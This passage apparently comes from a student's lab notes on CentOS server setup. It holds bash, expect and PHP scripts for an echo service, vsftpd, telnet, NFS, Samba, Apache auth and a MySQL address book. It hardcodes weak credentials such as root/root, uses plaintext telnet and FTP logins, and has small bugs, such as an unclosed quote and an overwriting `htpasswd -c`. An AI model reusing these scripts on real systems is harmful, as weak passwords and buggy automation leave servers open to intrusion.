echo -e "Description=Echo Server\n" >> /etc/systemd/system/echoserver.service
echo "[Service]" >> /etc/systemd/system/echoserver.service
echo "Type=simple" >> /etc/systemd/system/echoserver.service
echo "ExecStart=$initialdirectory/echoserver.py" >> /etc/systemd/system/echoserver.service
echo -e "Restart=always\n" >> /etc/systemd/system/echoserver.service
echo "[Install]" >> /etc/systemd/system/echoserver.service
echo "WantedBy=multi-user.target" >> /etc/systemd/system/echoserver.service
chmod 644 /etc/systemd/system/echoserver.service
sudo systemctl daemon-reload
sudo systemctl start echoserver.service
sudo systemctl status echoserver.service
# Task 6: vsftpd
yum install vsftpd -y
systemctl start vsftpd
# Limit user cd to other directories
sed -i 's/^#chroot_local_user=YES/chroot_local_user=YES/' /etc/vsftpd/vsftpd.conf
sed -i '/^chroot_local_user=YES/a allow_writeable_chroot=YES' /etc/vsftpd/vsftpd.conf
mkdir "$initialdirectory/ftpserver" && cd "$initialdirectory/ftpserver"
touch {a..d}.txt
# Task 7: Telnet
yum install -y telnet-server
yum install -y telnet
yum install -y xinetd
systemctl start telnet.socket
systemctl start xinetd
# Task 8: Network Manager -> Network
networkConfigure="/etc/sysconfig/network-scripts/ifcfg-ens33"
systemctl stop NetworkManager
chkconfig network on
systemctl start network
ifconfig ens33 0
cd /etc/sysconfig/network-scripts/
rm ifcfg-* -f
cat << EOF > $networkConfigure
TYPE=Ethernet
DEVICE=ens33
ONBOOT=yes
BOOTPROTO=static
IPADDR=192.168.87.129
NETMASK=255.255.255.0
GATEWAY=192.168.87.2
EOF
systemctl restart network
```
## Client Script
```bash
#!/bin/bash
RemoteServerName=s0560server
# Setting HostName
hostnamectl set-hostname s0560client
bash
yum update -y
yum install -y httpd
systemctl start httpd.service
systemctl enable httpd.service
echo "Hello World from $(hostname -f)" > /var/www/html/index.html
# DNS cache
echo "Input Target Server IP:"
read ServerIP
echo "$ServerIP $RemoteServerName" >> /etc/hosts
# Automatically
yum install expect -y
# Task 3 NFS client
yum install -y nfs-utils
systemctl start rpcbind && systemctl start nfs
echo "Check Remote NFS folder"
read remoteNfs
showmount -e $remoteNfs
mkdir -p /home/user/nfsmount
mount -t nfs $remoteNfs:/home/user/nfsServer /home/user/nfsmount
# Echo server (client)
nc $RemoteServerName 9000
# FTP client (Download File!)
sudo yum install -y ftp
ftp $RemoteServerName -u user
FTP_SERVER=$RemoteServerName
FTP_USER="user"
FTP_PASSWORD="user"
ftp -n $FTP_SERVER <<END_SCRIPT
quote USER $FTP_USER
quote PASS $FTP_PASSWORD
cd ./ftpserver/
bin
prompt
mget *.txt
bye
END_SCRIPT
# Client upload
cd "$initialdirectory/ftpClient" && touch {1..4}.txt
ftp -n $FTP_SERVER <<END_SCRIPT
quote USER $FTP_USER
quote PASS $FTP_PASSWORD
cd ./ftpClient/
bin
prompt
mput *.txt
bye
END_SCRIPT
# Telnet client
telnetUser="user"
TelnetPassword="user"
yum install -y telnet
yum install -y xinetd
systemctl start telnet.socket
systemctl start xinetd
expect -f telnetAutoLogin.exp
```
## EXP File & PHP file
keyGenAndSendkey
```bash
#!/usr/bin/expect
set timeout 30
spawn ssh-keygen -t rsa
expect "Enter file in which to save the key (/root/.ssh/id_rsa): "
send "\r"
expect "Enter passphrase (empty for no passphrase): "
send "\r"
expect "Enter same passphrase again: "
send "\r"
expect eof
spawn ssh-copy-id -i /root/.ssh/id_rsa.pub user@meowclient
expect {
"Are you sure you want to continue connecting (yes/no)?" {
send "yes\r"
exp_continue
}
"password:" {
send "user_password\r"
exp_continue
}
eof
}
```
mysqlSecureSetting.exp
```bash=
#!/usr/bin/expect
set timeout 30
spawn mysql_secure_installation
expect {
"Enter current password for root (enter for none):" {
send "\r"
exp_continue
}
"Set root password?" {
send "Y\r"
exp_continue
}
"New password:" {
send "root\r"
exp_continue
}
"Re-enter new password:" {
send "root\r"
exp_continue
}
"Remove anonymous users?" {
send "Y\r"
exp_continue
}
"Disallow root login remotely?" {
send "Y\r"
exp_continue
}
"Remove test database and access to it?" {
send "Y\r"
exp_continue
}
"Reload privilege tables now? {
send "Y\r"
exp_continue
}
eof
}
```
httpdauthConf.exp
```bash
#/usr/bin/expect
set username "user"
set password "user"
set htpasswd_file "/var/www/html/authDir/.htpasswd"
set usernameMeow "meowhecker"
set passwordMeow "meowhecker"
spawn htpasswd -c $htpasswd_file $username
expect "New password:"
send "$password\r"
expect "Re-type new password:"
send "$password\r"
expect eof
spawn htpasswd -c $htpasswd_file $usernameMeow
expect "New password:"
send "$passwordMeow\r"
expect "Re-type new password:"
send "$passwordMeow\r"
expect eof
```
SAMBA.exp
```
#!/usr/bin/expect
set smb_user "user"
set smb_password "user"
spawn smbpasswd -a $smb_user
expect "New SMB password:"
send "$smb_password\r"
expect "Retype new SMB password:"
send "$smb_password\r"
expect eof
```
Telnet
```bash
#!/usr/bin/expect
set telnet_host "127.0.0.1"
set telnet_user "user"
set telnet_password "user"
spawn telnet $telnet_host
expect "login:"
send "$telnet_user\r"
expect "Password:"
send "$telnet_password\r"
expect eof
```
dbsetting.php
```php
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "testdb";
$conn = new mysqli($servername, $username, $password);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
$sql = "CREATE DATABASE IF NOT EXISTS testdb";
if ($conn->query($sql) === TRUE) {
echo "Database created successfully\n";
} else {
echo "Error creating database: " . $conn->error . "\n";
}
$conn->select_db("testdb");
$sql = "CREATE TABLE IF NOT EXISTS addrbook (
name VARCHAR(50) NOT NULL,
phone CHAR(10)
)";
if ($conn->query($sql) === TRUE) {
echo "Table created successfully\n";
} else {
echo "Error creating table: " . $conn->error . "\n";
}
$sql = "INSERT INTO addrbook (name, phone) VALUES ('tom', '0912123456'), ('mary', '0912123567')";
if ($conn->query($sql) === TRUE) {
echo "Data inserted successfully\n";
} else {
echo "Error inserting data: " . $conn->error . "\n";
}
$conn->close();
?>
```
meowdb.php
```php=
<?php
$servername="127.0.0.1";
$username="root";
$password="root";
$dbname="testdb";
$conn = new mysqli($servername, $username, $password, $dbname);
if($conn->connect_error){
die("connection failed: " . $conn->connect_error);
}
else{
echo "connect OK!" . "<br>";
}
$sql="select name, phone from addrbook";
$result=$conn->query($sql);
if($result->num_rows>0){
while($row=$result->fetch_assoc()){
echo "name: " . $row["name"] . "\tphone: " . $row["phone"] . "<br>";
}
} else {
echo "0 record";
}
?>
```
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